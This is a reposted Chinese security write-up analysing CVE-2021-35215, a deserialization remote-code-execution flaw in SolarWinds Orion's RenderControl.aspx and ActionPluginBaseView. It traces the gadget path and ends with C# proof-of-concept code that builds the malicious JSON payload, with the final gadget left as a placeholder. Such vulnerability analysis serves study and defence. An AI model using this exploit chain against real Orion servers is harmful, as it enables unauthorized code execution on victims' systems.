CVE-2021–35215 SolarWinds Orion Platform ActionPluginBaseView RCE

前言

原文分析:https://testbnull.medium.com/50-shades-of-solarwinds-orion-deserialization-part-1-cve-2021-35215-2e5764e0e4f2

原文讲的很清楚了,我这里大概记一下。看懂可能需要一些dotnet反序列化的基础知识,移步 https://github.com/Y4er/dotnet-deserialization

分析

C:InetPubSolarWindsOrionRenderControl.aspx.cs OnInit()中加载控件,其中ctrl变量从请求中获取,可控。

20211023145131-a764c9b8-33cd-1

controlToRender = LoadControl(ctrl);之后将controlToRender传递给ApplyPropertiesAndAttributes()

20211023145142-ae75eed0-33cd-1

方法签名要求controlToRender是一个System.Web.UI.Control类型的控件。

然后346-352行是从JsonData中获取赋值给控件实例字段的名称和值,通过PropertySetter.SetProperties()进行反射赋值。JsonData是init的时候通过JavaScriptSerializer从http请求中反序列化回来的Dictionary<string, object>键值对,可控。

那么现在我们可以调用控件类的setter,所以找控件类。

然后找到了SolarWinds.Orion.Web.Actions.ActionPluginBaseView这个类

20211023145156-b6550096-33cd-1

它这个setter调用了ParseViewContext(),跟进发现用了json.net的TypeNameHandling.Objects

20211023145204-bb85cdca-33cd-1

并且JsonConvert.DeserializeObject<AlertingActionContext>(this.ViewContextJsonString, settings);中,AlertingActionContext这个类继承ActionContextBase类。

20211023145214-c1670cfe-33cd-1

该类有个MacroContext类型的字段,而MacroContext类型里有个字段是ContextBase类型的List。

20211023145223-c65e0aa0-33cd-1

ContextBase是一个抽象类。

20211023145229-ca069bcc-33cd-1

根据其KnownType知道可以往List中放SwisEntityContext类型的对象,而SwisEntityContext类中有一个字段是PropertyBag类型

20211023145237-cf36e2dc-33cd-1

该字段可以存放Object类型的对象

20211023145244-d333d818-33cd-1

所以我们的gadget可以放在这里,造成RCE。

PoC

Github:https://github.com/Y4er/CVE-2021-35215

代码参考

using System;
using System.Collections.Generic;
using System.IO;
using Newtonsoft.Json;
using SolarWinds.InformationService.Contract2;
using SolarWinds.Orion.Core.Models.Actions.Contexts;
using SolarWinds.Orion.Core.Models.MacroParsing;

namespace ConsoleApp1
{
    class Program
    {
        static void Main(string[] args)
        {
            var alertingActionContext = new AlertingActionContext();
            var macroContext = new MacroContext();
            var swisEntityContext = new SwisEntityContext();
            var dictionary = new Dictionary<string, Object>();
            dictionary["1"] = new Object(); // replace here with SessionSecurityToken gadget
            var propertyBag = new PropertyBag(dictionary);
            swisEntityContext.EntityProperties = propertyBag;
            macroContext.Add(swisEntityContext);

            alertingActionContext.MacroContext = macroContext;
            JsonSerializerSettings settings = new JsonSerializerSettings
            {
                TypeNameHandling = TypeNameHandling.Objects
            };
            var serializeObject = JsonConvert.SerializeObject(alertingActionContext, settings);
            Console.WriteLine(serializeObject);
            var streamWriter =
                new StreamWriter(@"C:UsersadminDesktopmycodenetcoreConsoleApp1ConsoleApp1poc.json");
            // serializeObject = serializeObject.Replace(""", """);
            streamWriter.Write(serializeObject);
            streamWriter.Close();
        }
    }
}

转载自

https://xz.aliyun.com/t/10413

本文转载自https://xz.aliyun.com/t/10413,只做本站测试使用,本文观点不代表安强科技社区立场。

(0)
打赏 微信扫一扫 微信扫一扫 支付宝扫一扫 支付宝扫一扫
上一篇 2022年3月17日 上午10:59
下一篇 2022年3月17日 上午11:21

相关推荐

发表回复

您的电子邮箱地址不会被公开。